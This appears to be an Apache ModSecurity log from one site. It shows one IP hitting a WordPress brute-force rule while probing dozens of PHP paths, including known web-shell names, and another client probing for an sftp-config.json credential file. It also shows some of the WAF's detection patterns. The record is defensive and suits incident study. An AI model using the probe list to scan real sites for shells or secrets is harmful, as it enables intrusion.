[Thu Mar 26 21:47:20.090467 2026] [:error] [pid 19711:tid 19759] [client 4.206.17.96:11467] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 16"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2024/"] [unique_id "acU46Gj3l1y81GYfluSv5AAAAEo"]
[Thu Mar 26 21:47:20.919412 2026] [:error] [pid 31670:tid 31679] [client 4.206.17.96:11698] [client 4.206.17.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.206.17.96, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "acU46DXVthXxCnWjOTTTVQAAAUc"]
[Thu Mar 26 21:47:20.919492 2026] [:error] [pid 31670:tid 31679] [client 4.206.17.96:11698] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "acU46DXVthXxCnWjOTTTVQAAAUc"]
[Thu Mar 26 21:47:21.748786 2026] [:error] [pid 19712:tid 19797] [client 4.206.17.96:11663] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-corn-sample.php"] [unique_id "acU46dWhKhRNqm23vFNDdgAAAJU"]
[Thu Mar 26 21:47:22.591922 2026] [:error] [pid 31778:tid 31815] [client 4.206.17.96:11653] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/"] [unique_id "acU46g3kybI2o-xasmAhhwAAAdY"]
[Thu Mar 26 21:47:23.428706 2026] [:error] [pid 19711:tid 19757] [client 4.206.17.96:11685] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "acU462j3l1y81GYfluSv6wAAAEg"]
[Thu Mar 26 21:47:24.286999 2026] [:error] [pid 31670:tid 31689] [client 4.206.17.96:11688] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "acU47DXVthXxCnWjOTTTWgAAAVE"]
[Thu Mar 26 21:47:25.113996 2026] [:error] [pid 19710:tid 19746] [client 4.206.17.96:11686] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/server.php"] [unique_id "acU47QVEWP8Ar68Njk4jogAAABg"]
[Thu Mar 26 21:47:25.946145 2026] [:error] [pid 31670:tid 31688] [client 4.206.17.96:11654] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/library/"] [unique_id "acU47TXVthXxCnWjOTTTXQAAAVA"]
[Thu Mar 26 21:47:26.773801 2026] [:error] [pid 31778:tid 31809] [client 4.206.17.96:11705] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/"] [unique_id "acU47g3kybI2o-xasmAhjAAAAdA"]
[Thu Mar 26 21:47:27.597853 2026] [:error] [pid 19711:tid 19773] [client 4.206.17.96:11468] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wso.php"] [unique_id "acU472j3l1y81GYfluSv7gAAAFg"]
[Thu Mar 26 21:47:28.423888 2026] [:error] [pid 31780:tid 31829] [client 4.206.17.96:11464] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acU48JJDwZsy5O4ZXEjHwAAAAgg"]
[Thu Mar 26 21:47:29.272514 2026] [:error] [pid 19710:tid 19722] [client 4.206.17.96:11681] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-file.php"] [unique_id "acU48QVEWP8Ar68Njk4jqAAAAAA"]
[Thu Mar 26 21:47:30.108629 2026] [:error] [pid 19710:tid 19741] [client 4.206.17.96:11668] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "acU48gVEWP8Ar68Njk4jrQAAABM"]
[Thu Mar 26 21:47:30.928146 2026] [:error] [pid 19711:tid 19761] [client 4.206.17.96:11699] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "acU48mj3l1y81GYfluSv8gAAAEw"]
[Thu Mar 26 21:47:31.752501 2026] [:error] [pid 19712:tid 19792] [client 4.206.17.96:11707] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin.php"] [unique_id "acU489WhKhRNqm23vFNDggAAAJA"]
[Thu Mar 26 21:47:32.597797 2026] [:error] [pid 19712:tid 19778] [client 4.206.17.96:11476] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "acU49NWhKhRNqm23vFNDhgAAAII"]
[Thu Mar 26 21:47:33.421126 2026] [:error] [pid 19712:tid 19780] [client 4.206.17.96:11655] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/"] [unique_id "acU49dWhKhRNqm23vFNDiQAAAIQ"]
[Thu Mar 26 21:47:34.246373 2026] [:error] [pid 19712:tid 19783] [client 4.206.17.96:11456] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/xmrlpc.php"] [unique_id "acU49tWhKhRNqm23vFNDjgAAAIc"]
[Thu Mar 26 21:47:35.077681 2026] [:error] [pid 19711:tid 19753] [client 4.206.17.96:11482] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "acU492j3l1y81GYfluSv9QAAAEQ"]
[Thu Mar 26 21:47:35.917872 2026] [:error] [pid 19712:tid 19799] [client 4.206.17.96:11519] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/file.php"] [unique_id "acU499WhKhRNqm23vFNDrgAAAJc"]
[Thu Mar 26 21:47:36.743483 2026] [:error] [pid 19710:tid 19726] [client 4.206.17.96:11659] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/fields/"] [unique_id "acU4-AVEWP8Ar68Njk4jsgAAAAQ"]
[Thu Mar 26 21:47:37.656567 2026] [:error] [pid 19712:tid 19799] [client 4.206.17.96:11700] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "acU4-dWhKhRNqm23vFNDzAAAAJc"]
[Thu Mar 26 21:47:38.503629 2026] [:error] [pid 19710:tid 19744] [client 4.206.17.96:11472] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "acU4-gVEWP8Ar68Njk4jtAAAABY"]
[Thu Mar 26 21:47:39.339180 2026] [:error] [pid 19818:tid 19828] [client 4.206.17.96:11666] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/et-cache/"] [unique_id "acU4-8zaSnm3d1BeM5U4WQAAAMg"]
[Thu Mar 26 21:47:40.165507 2026] [:error] [pid 19818:tid 19844] [client 4.206.17.96:11917] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "acU4_MzaSnm3d1BeM5U4WgAAANg"]
[Thu Mar 26 21:47:41.000042 2026] [:error] [pid 19712:tid 19783] [client 4.206.17.96:11457] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/admin.php"] [unique_id "acU4_NWhKhRNqm23vFNECAAAAIc"]
[Thu Mar 26 21:47:41.837483 2026] [:error] [pid 19712:tid 19779] [client 4.206.17.96:11692] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "acU4_dWhKhRNqm23vFNEGAAAAIM"]
[Thu Mar 26 21:47:42.671301 2026] [:error] [pid 19818:tid 19823] [client 4.206.17.96:11475] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "acU4_szaSnm3d1BeM5U4WwAAAMM"]
[Thu Mar 26 21:47:43.510934 2026] [:error] [pid 19711:tid 19753] [client 4.206.17.96:11662] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/"] [unique_id "acU4_2j3l1y81GYfluSv_QAAAEQ"]
[Thu Mar 26 21:47:44.354298 2026] [:error] [pid 19712:tid 19782] [client 4.206.17.96:11492] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "acU5ANWhKhRNqm23vFNELAAAAIY"]
[Thu Mar 26 21:47:45.184772 2026] [:error] [pid 31778:tid 31814] [client 4.206.17.96:11706] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/block/"] [unique_id "acU5AQ3kybI2o-xasmAhkQAAAdU"]
[Thu Mar 26 21:47:46.027757 2026] [:error] [pid 31670:tid 31692] [client 4.206.17.96:11941] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acU5AjXVthXxCnWjOTTTegAAAVQ"]
[Thu Mar 26 21:47:46.871849 2026] [:error] [pid 19710:tid 19722] [client 4.206.17.96:11649] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "acU5AgVEWP8Ar68Njk4jxAAAAAA"]
[Thu Mar 26 21:47:47.702175 2026] [:error] [pid 19710:tid 19744] [client 4.206.17.96:11703] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "acU5AwVEWP8Ar68Njk4jyQAAABY"]
[Thu Mar 26 21:47:48.525333 2026] [:error] [pid 19710:tid 19746] [client 4.206.17.96:11674] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "acU5BAVEWP8Ar68Njk4jzgAAABg"]
[Thu Mar 26 21:47:49.373031 2026] [:error] [pid 19710:tid 19725] [client 4.206.17.96:11469] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "acU5BQVEWP8Ar68Njk4j0QAAAAM"]
[Thu Mar 26 21:47:50.200547 2026] [:error] [pid 31670:tid 31684] [client 4.206.17.96:11501] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/about.PHP"] [unique_id "acU5BjXVthXxCnWjOTTTfgAAAUw"]
[Thu Mar 26 21:47:51.023953 2026] [:error] [pid 19712:tid 19792] [client 4.206.17.96:11499] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "acU5B9WhKhRNqm23vFNENAAAAJA"]
[Thu Mar 26 21:47:51.852927 2026] [:error] [pid 19712:tid 19781] [client 4.206.17.96:11485] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "acU5B9WhKhRNqm23vFNEOgAAAIU"]
[Thu Mar 26 21:47:52.680153 2026] [:error] [pid 31670:tid 31682] [client 4.206.17.96:11711] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/edit.php"] [unique_id "acU5CDXVthXxCnWjOTTTggAAAUo"]
[Thu Mar 26 21:47:53.524806 2026] [:error] [pid 31778:tid 31804] [client 4.206.17.96:11462] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "acU5CQ3kybI2o-xasmAhlwAAAcs"]
[Thu Mar 26 21:47:54.363937 2026] [:error] [pid 31717:tid 31741] [client 4.206.17.96:11701] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "acU5Cr-SCF7YDISDX4_6swAAAZM"]
[Thu Mar 26 21:47:55.188966 2026] [:error] [pid 19818:tid 19822] [client 4.206.17.96:11709] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "acU5C8zaSnm3d1BeM5U4ZAAAAMI"]
[Thu Mar 26 21:47:56.011148 2026] [:error] [pid 19818:tid 19823] [client 4.206.17.96:11481] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/modern/"] [unique_id "acU5DMzaSnm3d1BeM5U4ZwAAAMM"]
[Thu Mar 26 21:47:56.835510 2026] [:error] [pid 19712:tid 19788] [client 4.206.17.96:11914] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/"] [unique_id "acU5DNWhKhRNqm23vFNESAAAAIw"]
[Thu Mar 26 21:47:57.659679 2026] [:error] [pid 19711:tid 19756] [client 4.206.17.96:11689] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/test1.php"] [unique_id "acU5DWj3l1y81GYfluSwBwAAAEc"]
[Thu Mar 26 21:47:58.502793 2026] [:error] [pid 19712:tid 19780] [client 4.206.17.96:11702] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-cron.php"] [unique_id "acU5DtWhKhRNqm23vFNETQAAAIQ"]
[Thu Mar 26 21:47:59.329525 2026] [:error] [pid 19712:tid 19788] [client 4.206.17.96:11488] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/"] [unique_id "acU5D9WhKhRNqm23vFNEUgAAAIw"]
[Thu Mar 26 21:48:00.169338 2026] [:error] [pid 31670:tid 31676] [client 4.206.17.96:11710] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "acU5EDXVthXxCnWjOTTTjQAAAUQ"]
[Thu Mar 26 21:48:00.995390 2026] [:error] [pid 19712:tid 19780] [client 4.206.17.96:11676] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/1.php"] [unique_id "acU5ENWhKhRNqm23vFNEVwAAAIQ"]
[Thu Mar 26 21:48:01.822250 2026] [:error] [pid 19712:tid 19798] [client 4.206.17.96:11923] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 17"] [hostname "measureyourbrand.com.au"] [uri "/images/index.php"] [unique_id "acU5EdWhKhRNqm23vFNEXAAAAJY"]
[Thu Mar 26 22:25:05.246538 2026] [:error] [pid 19711:tid 19771] [client 43.130.100.35:60416] [client 43.130.100.35] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acVBwWj3l1y81GYfluTAVQAAAFY"]
[Thu Mar 26 23:20:26.179352 2026] [:error] [pid 19712:tid 19783] [client 170.106.113.159:32988] [client 170.106.113.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acVOutWhKhRNqm23vFNdUQAAAIc"]
[Fri Mar 27 01:37:31.674816 2026] [:error] [pid 62147:tid 62464] [client 185.169.4.152:58790] [client 185.169.4.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "acVu2xPjxn06mcLazN5_4AAAAAQ"]
